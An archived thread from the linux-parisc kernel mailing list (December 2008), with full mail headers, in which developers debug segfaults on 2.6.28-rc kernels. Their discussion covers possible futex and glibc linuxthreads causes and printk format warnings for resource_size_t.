More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 10:30:00 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <20081208153000.C69664F30@hiauly1.hia.nrc.ca>
References: <119aab440812080702k6ab8c0f4k772f0f0bc9eb2893@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228750221 25719 80.91.229.12 (8 Dec 2008 15:30:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 15:30:21 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org,
	grundler@parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 16:31:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9i4r-0007OT-V8
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 16:31:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751750AbYLHPaE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 10:30:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752571AbYLHPaE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 10:30:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1539 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751750AbYLHPaD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 10:30:03 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C69664F30; Mon,  8 Dec 2008 10:30:00 -0500 (EST)
In-Reply-To: <119aab440812080702k6ab8c0f4k772f0f0bc9eb2893@mail.gmail.com> from "Carlos O'Donell" at Dec 8, 2008 10:02:47 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:919
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/919>

> > How long have futex's been used on hppa?  I guess we really need to try
> > run the glibc testsuite on a new kernel.
> 
> The futex function has been available almost since futex's first appeared
> 
> The futex API is exported to userspace and can be used by any application.
> 
> e.g. man futex
> ~~~
> NAME
>        futex - Fast Userspace Locking system call

This is only supposition but a broken futex call might cause the type of
problems we are seeing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 10:34:13 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20081208153413.GJ9092@bombadil.infradead.org>
References: <20081208051521.GI9092@bombadil.infradead.org> <20081208152328.E8C514EDA@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228750479 26586 80.91.229.12 (8 Dec 2008 15:34:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 15:34:39 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, T-Bone@parisc-linux.org,
	deller@gmx.de, gmsoft@tuxicoman.be, carlos@systemhalted.org,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 16:35:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9i8z-0007pU-4d
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 16:35:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751750AbYLHPeU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 10:34:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751965AbYLHPeU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 10:34:20 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51946 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751750AbYLHPeT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 10:34:19 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9i7h-0002uw-NR; Mon, 08 Dec 2008 15:34:13 +0000
Content-Disposition: inline
In-Reply-To: <20081208152328.E8C514EDA@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:920
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/920>

On Mon, Dec 08, 2008 at 10:23:28AM -0500, John David Anglin wrote:
> > The prettiest way to do it would be to add a %p handler for
> > resource_size_t args, cheat on the pointing bit, and clean up the
> > in-tree users of %llx/ull-casts.
> 
> I went through the warnings that I saw yesterday implementing Helge's
> %p suggestion.  It's not beautiful but it works.   I'll post tonight.
> 
> I only fixed the occurences that popped up in my build.  I'm sure that
> more are lurking.
> 
> Feel free to implement %p handler.
> 
> I also fixed some other warnings and will post for comment when I separate
> the diffs.
> 

sadly %p can't work, since void * doesn't hold resource_size_t with
CONFIG_RESOURCES_64BIT on 32-bit, since resource_size_t would be ULL,
which is why the %p handler would work (although you'd either have to
pass &(resource_size_t) or do a bit of ick around the va_args to snatch
the correct width instead of just void *).

but yeah, that's a global kernel issue, not limited to our little niche.

i'll apply your patch, and another one to make CONFIG_RESOURCES_64BIT
depend on !PARISC, since it really only applies to PAE on x86 and some
niche crap embeddeded powerpc.

cheers, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 10:57:54 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <20081208155754.DD5184E7A@hiauly1.hia.nrc.ca>
References: <20081208153413.GJ9092@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228751891 31765 80.91.229.12 (8 Dec 2008 15:58:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 15:58:11 +0000 (UTC)
Cc: kyle@infradead.org, T-Bone@parisc-linux.org, deller@gmx.de,
	gmsoft@tuxicoman.be, carlos@systemhalted.org,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 16:59:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9iVu-0001wK-3h
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 16:59:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753498AbYLHP55 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 10:57:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753487AbYLHP55
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 10:57:57 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1558 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751979AbYLHP54 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 10:57:56 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DD5184E7A; Mon,  8 Dec 2008 10:57:54 -0500 (EST)
In-Reply-To: <20081208153413.GJ9092@bombadil.infradead.org> from "Kyle McMartin" at Dec 8, 2008 10:34:13 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:921
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/921>

> sadly %p can't work, since void * doesn't hold resource_size_t with
> CONFIG_RESOURCES_64BIT on 32-bit, since resource_size_t would be ULL,
> which is why the %p handler would work (although you'd either have to
> pass &(resource_size_t) or do a bit of ick around the va_args to snatch
> the correct width instead of just void *).

Sigh, you are right.  However, all the warnings apply to addresses,
so I think the type for these addresses is wrong.  I can't really
imagine a 32-bit kernel running with a 64-bit address space would
be useful.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 11:00:21 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20081208160021.GA30783@bombadil.infradead.org>
References: <20081208153413.GJ9092@bombadil.infradead.org> <20081208155754.DD5184E7A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228752042 32440 80.91.229.12 (8 Dec 2008 16:00:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 16:00:42 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, T-Bone@parisc-linux.org,
	deller@gmx.de, gmsoft@tuxicoman.be, carlos@systemhalted.org,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 17:01:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9iYJ-0002mH-P5
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 17:01:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752252AbYLHQAa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 11:00:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752281AbYLHQAa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 11:00:30 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47778 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752252AbYLHQA3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 11:00:29 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9iWz-0006gB-Ch; Mon, 08 Dec 2008 16:00:21 +0000
Content-Disposition: inline
In-Reply-To: <20081208155754.DD5184E7A@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:922
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/922>

On Mon, Dec 08, 2008 at 10:57:54AM -0500, John David Anglin wrote:
> > sadly %p can't work, since void * doesn't hold resource_size_t with
> > CONFIG_RESOURCES_64BIT on 32-bit, since resource_size_t would be ULL,
> > which is why the %p handler would work (although you'd either have to
> > pass &(resource_size_t) or do a bit of ick around the va_args to snatch
> > the correct width instead of just void *).
> 
> Sigh, you are right.  However, all the warnings apply to addresses,
> so I think the type for these addresses is wrong.  I can't really
> imagine a 32-bit kernel running with a 64-bit address space would
> be useful.
> 

Exactly, the config option (in the 64-bit on 32-bit sense) is limited in
utility to PAE on x86, where the physical address space is really
36-bit, (and they cheat by using double-sized ptes to cram in a 64-bit
address.) Last time I tried to submit a patch to make it automatic in
Kconfig it was met with resounding bikeshedding.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 11:00:51 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20081208160051.GB30783@bombadil.infradead.org>
References: <20081208153413.GJ9092@bombadil.infradead.org> <20081208155754.DD5184E7A@hiauly1.hia.nrc.ca> <20081208160021.GA30783@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228752078 32575 80.91.229.12 (8 Dec 2008 16:01:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 16:01:18 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	T-Bone@parisc-linux.org, deller@gmx.de, gmsoft@tuxicoman.be,
	carlos@systemhalted.org, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 17:02:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9iYi-0002mH-VH
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 17:02:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752281AbYLHQAz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 11:00:55 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752468AbYLHQAz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 11:00:55 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47837 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752281AbYLHQAz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 11:00:55 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1L9iXT-0007iM-Fv; Mon, 08 Dec 2008 16:00:51 +0000
Content-Disposition: inline
In-Reply-To: <20081208160021.GA30783@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:923
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/923>

On Mon, Dec 08, 2008 at 11:00:21AM -0500, Kyle McMartin wrote:
> On Mon, Dec 08, 2008 at 10:57:54AM -0500, John David Anglin wrote:
> > > sadly %p can't work, since void * doesn't hold resource_size_t with
> > > CONFIG_RESOURCES_64BIT on 32-bit, since resource_size_t would be ULL,
> > > which is why the %p handler would work (although you'd either have to
> > > pass &(resource_size_t) or do a bit of ick around the va_args to snatch
> > > the correct width instead of just void *).
> > 
> > Sigh, you are right.  However, all the warnings apply to addresses,
> > so I think the type for these addresses is wrong.  I can't really
> > imagine a 32-bit kernel running with a 64-bit address space would
> > be useful.
> > 
> 
> Exactly, the config option (in the 64-bit on 32-bit sense) is limited in
> utility to PAE on x86, where the physical address space is really
> 36-bit, (and they cheat by using double-sized ptes to cram in a 64-bit
> address.) Last time I tried to submit a patch to make it automatic in
> Kconfig it was met with resounding bikeshedding.
> 

To reiterate though, I'm not at all adverse to making this option just
go away on parisc32...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 17:14:28 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <119aab440812081414h2145521axb3bc426db9c776be@mail.gmail.com>
References: <119aab440812080439l12c2feb8u500eeea3ad5bbd20@mail.gmail.com>
	 <20081208145451.2116F4EDA@hiauly1.hia.nrc.ca>
	 <119aab440812080702k6ab8c0f4k772f0f0bc9eb2893@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228774487 18494 80.91.229.12 (8 Dec 2008 22:14:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 22:14:47 +0000 (UTC)
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	"Helge Deller" <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 23:15:50 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9oOH-0002sh-2N
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 23:15:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752680AbYLHWOc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 17:14:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752600AbYLHWOb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 17:14:31 -0500
Original-Received: from yw-out-2324.google.com ([74.125.46.30]:27878 "EHLO
	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752680AbYLHWOb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 17:14:31 -0500
Original-Received: by yw-out-2324.google.com with SMTP id 9so563442ywe.1
        for <linux-parisc@vger.kernel.org>; Mon, 08 Dec 2008 14:14:29 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=msF7x2sdL+iC48M45O1x9j37q70I4f76OCD6eDHnGy4=;
        b=jJJlAC6+q/e0tejeb2gjimdFwWq5Q0ZSVL//BLWs56cmUuPqdLO5pNl5MJiCGFUE7R
         AUhUtaInDtvjiD9eFd4ww1I4VG3qGEI6JiWJbsUOl9Uo9a6qlYfILEImg55vgLk1KSoJ
         5MJo2uZSXDEJSEuuumffoMvTYUJYYidNG4adw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=oJaBmTMqlg/E2F/rPlq/6qXZIg/WvzTDN1hJVuWQWYWTG/visx9ipESCowR8OIht8p
         3PUxOp5ce6AV1EN8BdacWY/ytJaxtl81a7W0pKYRCfnrMO824CJqZpzRzHM2iJ7kbtx5
         ic3qiRlPJxKvBIP2FnARk0klRB4/K9/7ZEK48=
Original-Received: by 10.142.147.15 with SMTP id u15mr1722954wfd.226.1228774468667;
        Mon, 08 Dec 2008 14:14:28 -0800 (PST)
Original-Received: by 10.142.86.10 with HTTP; Mon, 8 Dec 2008 14:14:28 -0800 (PST)
In-Reply-To: <119aab440812080702k6ab8c0f4k772f0f0bc9eb2893@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 50598a623dfa0da2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:924
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/924>

On Mon, Dec 8, 2008 at 10:02 AM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> On Mon, Dec 8, 2008 at 9:54 AM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
>>> > So, the code is using the thread register (cr27).  Not sure what syscall
>>> > this is.  However, the problem might be TLS releated.
>>>
>>> The thread register has always been used to track thread specific
>>> information, even in linuxthreads.
>>>
>>> The syscall is __NR_futex.
>>>
>>> If you can produce a synthetic testcase that calls __NR_futex and
>>> crashes the kernel then we'll have something for the kernel hackers to
>>> look at?
>>
>> How long have futex's been used on hppa?  I guess we really need to try
>> run the glibc testsuite on a new kernel.
>
> The futex function has been available almost since futex's first appeared

I realized I didn't answer your question here.

The futex function should only be called when compiling glibc with nptl enabled.

Otherwise nothing in glibc should make futex calls.

Broken futex calls shouldn't crash the kernel.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Mon, 8 Dec 2008 17:39:33 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <20081208223933.ADCC14EF8@hiauly1.hia.nrc.ca>
References: <119aab440812081414h2145521axb3bc426db9c776be@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228776017 23672 80.91.229.12 (8 Dec 2008 22:40:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 22:40:17 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org,
	grundler@parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 08 23:41:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L9omm-0004Sk-A2
	for glpp-linux-parisc@gmane.org; Mon, 08 Dec 2008 23:41:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753237AbYLHWjg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 8 Dec 2008 17:39:36 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753238AbYLHWjf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 8 Dec 2008 17:39:35 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1578 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753248AbYLHWjf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 8 Dec 2008 17:39:35 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id ADCC14EF8; Mon,  8 Dec 2008 17:39:33 -0500 (EST)
In-Reply-To: <119aab440812081414h2145521axb3bc426db9c776be@mail.gmail.com> from "Carlos O'Donell" at Dec 8, 2008 05:14:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:925
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/925>

> >> How long have futex's been used on hppa?  I guess we really need to try
> >> run the glibc testsuite on a new kernel.
> >
> > The futex function has been available almost since futex's first appeared
> 
> I realized I didn't answer your question here.
> 
> The futex function should only be called when compiling glibc with nptl enabled.
> 
> Otherwise nothing in glibc should make futex calls.
> 
> Broken futex calls shouldn't crash the kernel.

The kernel doesn't crash since Helge's stack backtrace fix.  We are
just getting a lot of segfaults in application code.

I'm fairly certain libc6 in debian testing is still built with linuxthreads.
I'm not sure libc is actually making futex calls, but one is compiled
into _dl_fixup.  I suppose I could add a printk in the kernel to see
if futex's are being used.

I'm currently building debian libc6.  In a quick attempt, I wasn't
successful in building the glibc cvs source.  It pushes hard to get
you to configure with nptl.  My build with linuxthreads failed with
a type size problem.

I'll try the testsuite with this build on my current kernel.  If that
works, I'll flip to 2.6.28.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: 2.6.28: BUG: soft lockup - CPU#0 stuck for 61s!
Date: Tue, 09 Dec 2008 00:28:06 +0100
Lines: 172
Approved: news@gmane.org
Message-ID: <493DAD86.8030609@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1228778904 32681 80.91.229.12 (8 Dec 2008 23:28:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 8 Dec 2008 23:28:24 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 09 00:29:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
